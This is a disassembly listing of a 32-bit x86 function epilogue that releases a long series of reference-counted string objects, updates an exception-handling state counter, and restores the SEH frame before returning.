mov byte [esp + 0xf0], 0x1b
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41331d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1a
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413345
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x19
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413370
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x18
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41339b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x17
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4133c6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x16
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4133f1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x15
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41341c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x14
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413447
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x13
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413472
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x12
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41349a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x11
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4134c2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x10
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4134ea
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xf
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413512
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xe
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41353a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xd
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413562
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xc
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41358a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xb
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135b2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xa
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135da
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 9
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413602
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 8
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41362a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 3
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413652
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 2
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41367d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 1
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136a8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xf0], 0xffffffff
mov eax, dword [esp + 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136fe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0xa8]
mov esi, dword [edi + 0x134]
call fcn.0043fcc0
mov edx, dword [edi + 0xb0]
mov esi, dword [edi + 0x134]
call fcn.0043fcc0
add edi, 0x1bc
push edi
call fcn.0041d970
mov ecx, dword [esp + 0xe8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4